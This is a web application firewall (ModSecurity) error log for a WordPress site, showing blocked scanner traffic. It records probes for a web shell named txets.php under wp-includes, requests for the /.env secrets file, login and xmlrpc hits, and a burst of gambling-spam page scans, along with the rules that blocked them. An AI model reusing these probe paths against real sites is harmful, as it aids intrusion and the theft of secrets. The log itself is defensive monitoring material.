[Tue May 05 23:25:05.452381 2026] [:error] [pid 2324:tid 2345] [client 43.166.244.66:44944] [client 43.166.244.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afoL0Wqe2hrcI52A1Hy6eQAAAVM"]
[Wed May 06 01:06:23.420581 2026] [:error] [pid 25743:tid 25749] [client 45.154.98.197:55455] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afojj2-PCMRhF5DdUnMuXQAAAAI"]
[Wed May 06 01:06:23.928073 2026] [:error] [pid 25745:tid 25813] [client 45.154.98.197:55780] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afojj5sd7hb7vrvCNBlrPAAAAMw"]
[Wed May 06 01:06:24.436494 2026] [:error] [pid 25745:tid 25807] [client 45.154.98.197:55988] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afojkJsd7hb7vrvCNBlrPQAAAMY"]
[Wed May 06 01:06:25.465563 2026] [:error] [pid 25743:tid 25768] [client 45.154.98.197:56412] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/txets.php"] [unique_id "afojkW-PCMRhF5DdUnMuYgAAABU"]
[Wed May 06 01:51:59.902352 2026] [:error] [pid 25744:tid 25780] [client 152.228.218.52:56636] [client 152.228.218.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.228.218.52, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afouPyR8IuyzjkW06OMvSgAAAIY"]
[Wed May 06 01:52:00.170443 2026] [:error] [pid 25743:tid 25749] [client 152.228.218.52:56710] [client 152.228.218.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.228.218.52, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "afouQG-PCMRhF5DdUnM4eQAAAAI"]
[Wed May 06 03:50:36.363342 2026] [:error] [pid 48758:tid 48816] [client 34.42.211.182:56568] [client 34.42.211.182] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "afpKDDENoN-kMgC5tXgE8AAAAFU"]
[Wed May 06 03:50:37.228099 2026] [:error] [pid 48759:tid 48833] [client 34.42.211.182:51172] [client 34.42.211.182] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "afpKDamcftH9JrQl_yGwVgAAAIs"]
[Wed May 06 04:48:12.072615 2026] [:error] [pid 48867:tid 48887] [client 93.87.35.213:65364] [client 93.87.35.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.87.35.213, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afpXjFZQ-8ZcCbMZPy715gAAANE"]
[Wed May 06 05:35:00.920340 2026] [:error] [pid 48759:tid 48840] [client 51.195.103.76:37256] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "afpihKmcftH9JrQl_yHLeAAAAJI"]
[Wed May 06 05:35:03.400104 2026] [:error] [pid 48757:tid 48777] [client 51.195.103.76:37270] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afpih0AivC3C614LoA5lpgAAAAs"]
[Wed May 06 05:35:06.017710 2026] [:error] [pid 48758:tid 48812] [client 51.195.103.76:37280] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afpiijENoN-kMgC5tXgZ-AAAAFE"]
[Wed May 06 05:35:08.412153 2026] [:error] [pid 48758:tid 48808] [client 51.195.103.76:52002] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afpijDENoN-kMgC5tXgZ_wAAAE0"]
[Wed May 06 05:35:10.968911 2026] [:error] [pid 48759:tid 48840] [client 51.195.103.76:52010] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afpijqmcftH9JrQl_yHLiwAAAJI"]
[Wed May 06 05:35:13.554222 2026] [:error] [pid 33660:tid 33668] [client 51.195.103.76:52012] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afpikf6jj6Ce_ERq7qNnvAAAAQY"]
[Wed May 06 05:35:16.155626 2026] [:error] [pid 33660:tid 33686] [client 51.195.103.76:52022] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afpilP6jj6Ce_ERq7qNnwQAAARg"]
[Wed May 06 05:35:18.679496 2026] [:error] [pid 48759:tid 48835] [client 51.195.103.76:61160] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afpilqmcftH9JrQl_yHLjQAAAI0"]
[Wed May 06 05:35:21.228984 2026] [:error] [pid 48758:tid 48807] [client 51.195.103.76:61164] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afpimTENoN-kMgC5tXgaBwAAAEw"]
[Wed May 06 05:35:24.047677 2026] [:error] [pid 48759:tid 48842] [client 51.195.103.76:61176] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afpinKmcftH9JrQl_yHLkgAAAJQ"]
[Wed May 06 05:35:26.429908 2026] [:error] [pid 48758:tid 48815] [client 51.195.103.76:61180] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afpinjENoN-kMgC5tXgaCAAAAFQ"]
[Wed May 06 05:35:28.894369 2026] [:error] [pid 33660:tid 33680] [client 51.195.103.76:4204] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afpioP6jj6Ce_ERq7qNn0wAAARI"]
[Wed May 06 05:35:31.377182 2026] [:error] [pid 48867:tid 48872] [client 51.195.103.76:4216] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "afpio1ZQ-8ZcCbMZPy4GUwAAAMI"]
[Wed May 06 05:35:33.878270 2026] [:error] [pid 33660:tid 33674] [client 51.195.103.76:4228] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afpipf6jj6Ce_ERq7qNn2QAAAQw"]
[Wed May 06 05:35:36.250023 2026] [:error] [pid 48867:tid 48882] [client 51.195.103.76:4234] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afpiqFZQ-8ZcCbMZPy4GWgAAAMw"]
[Wed May 06 05:35:38.873016 2026] [:error] [pid 48759:tid 48845] [client 51.195.103.76:37504] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afpiqqmcftH9JrQl_yHLowAAAJc"]
[Wed May 06 05:35:41.325802 2026] [:error] [pid 48867:tid 48890] [client 51.195.103.76:37518] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afpirVZQ-8ZcCbMZPy4GXQAAANQ"]
[Wed May 06 05:35:42.430011 2026] [:error] [pid 33660:tid 33684] [client 43.161.217.205:59408] [client 43.161.217.205] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afpirv6jj6Ce_ERq7qNn9QAAARY"]
[Wed May 06 05:35:43.904744 2026] [:error] [pid 48758:tid 48814] [client 51.195.103.76:37524] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "afpirzENoN-kMgC5tXgaEQAAAFM"]
[Wed May 06 05:35:46.259770 2026] [:error] [pid 33660:tid 33669] [client 51.195.103.76:37540] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afpisv6jj6Ce_ERq7qNoAQAAAQc"]
[Wed May 06 05:35:48.667770 2026] [:error] [pid 48757:tid 48770] [client 51.195.103.76:59178] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afpitEAivC3C614LoA5lwgAAAAQ"]
[Wed May 06 05:35:51.586190 2026] [:error] [pid 48758:tid 48796] [client 51.195.103.76:59182] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afpitzENoN-kMgC5tXgaEwAAAEE"]
[Wed May 06 05:35:54.560861 2026] [:error] [pid 33660:tid 33668] [client 51.195.103.76:59184] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afpiuv6jj6Ce_ERq7qNoEgAAAQY"]
[Wed May 06 05:35:57.059569 2026] [:error] [pid 33660:tid 33684] [client 51.195.103.76:59196] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "afpivf6jj6Ce_ERq7qNoGAAAARY"]
[Wed May 06 05:36:37.659109 2026] [:error] [pid 48759:tid 48835] [client 51.195.103.76:46096] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "afpi5amcftH9JrQl_yHLzAAAAI0"]
[Wed May 06 05:36:39.992435 2026] [:error] [pid 48867:tid 48882] [client 51.195.103.76:46098] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "afpi51ZQ-8ZcCbMZPy4GjwAAAMw"]
[Wed May 06 05:36:42.543192 2026] [:error] [pid 48758:tid 48806] [client 51.195.103.76:46100] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afpi6jENoN-kMgC5tXgabQAAAEs"]
[Wed May 06 05:36:45.058141 2026] [:error] [pid 48759:tid 48844] [client 51.195.103.76:46116] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afpi7amcftH9JrQl_yHL0gAAAJY"]
[Wed May 06 05:36:47.482369 2026] [:error] [pid 48758:tid 48804] [client 51.195.103.76:46128] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afpi7zENoN-kMgC5tXgacAAAAEk"]
[Wed May 06 05:36:50.018100 2026] [:error] [pid 48758:tid 48814] [client 51.195.103.76:46894] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afpi8jENoN-kMgC5tXgaeQAAAFM"]
[Wed May 06 05:36:52.586644 2026] [:error] [pid 48867:tid 48873] [client 51.195.103.76:46906] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afpi9FZQ-8ZcCbMZPy4GnAAAAMM"]
[Wed May 06 05:36:55.020704 2026] [:error] [pid 48757:tid 48787] [client 51.195.103.76:46910] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afpi90AivC3C614LoA5l3wAAABU"]
[Wed May 06 05:36:57.553879 2026] [:error] [pid 48867:tid 48873] [client 51.195.103.76:46920] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afpi-VZQ-8ZcCbMZPy4G1gAAAMM"]
[Wed May 06 05:37:00.038054 2026] [:error] [pid 48867:tid 48886] [client 51.195.103.76:60548] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afpi_FZQ-8ZcCbMZPy4HBwAAANA"]
[Wed May 06 05:37:02.310204 2026] [:error] [pid 33660:tid 33683] [client 51.195.103.76:60562] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afpi_v6jj6Ce_ERq7qNo1gAAARU"]
[Wed May 06 05:37:04.762313 2026] [:error] [pid 33660:tid 33686] [client 51.195.103.76:60570] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afpjAP6jj6Ce_ERq7qNo3QAAARg"]
[Wed May 06 05:37:06.974074 2026] [:error] [pid 48867:tid 48884] [client 51.195.103.76:60572] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afpjAlZQ-8ZcCbMZPy4HMAAAAM4"]
[Wed May 06 05:37:09.599307 2026] [:error] [pid 48867:tid 48892] [client 51.195.103.76:61766] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afpjBVZQ-8ZcCbMZPy4HMgAAANY"]
[Wed May 06 05:37:12.230842 2026] [:error] [pid 48759:tid 48829] [client 51.195.103.76:61780] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afpjCKmcftH9JrQl_yHL7wAAAIc"]
[Wed May 06 05:37:14.716532 2026] [:error] [pid 48867:tid 48893] [client 51.195.103.76:61786] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "afpjClZQ-8ZcCbMZPy4HNwAAANc"]
[Wed May 06 05:37:17.226595 2026] [:error] [pid 48759:tid 48842] [client 51.195.103.76:61796] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afpjDamcftH9JrQl_yHL8gAAAJQ"]
[Wed May 06 05:37:19.649297 2026] [:error] [pid 48867:tid 48878] [client 51.195.103.76:49854] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afpjD1ZQ-8ZcCbMZPy4HOQAAAMg"]
[Wed May 06 05:37:22.056602 2026] [:error] [pid 33660:tid 33684] [client 51.195.103.76:49864] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afpjEv6jj6Ce_ERq7qNo9QAAARY"]
[Wed May 06 05:37:24.714139 2026] [:error] [pid 48867:tid 48885] [client 51.195.103.76:49870] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "afpjFFZQ-8ZcCbMZPy4HQwAAAM8"]
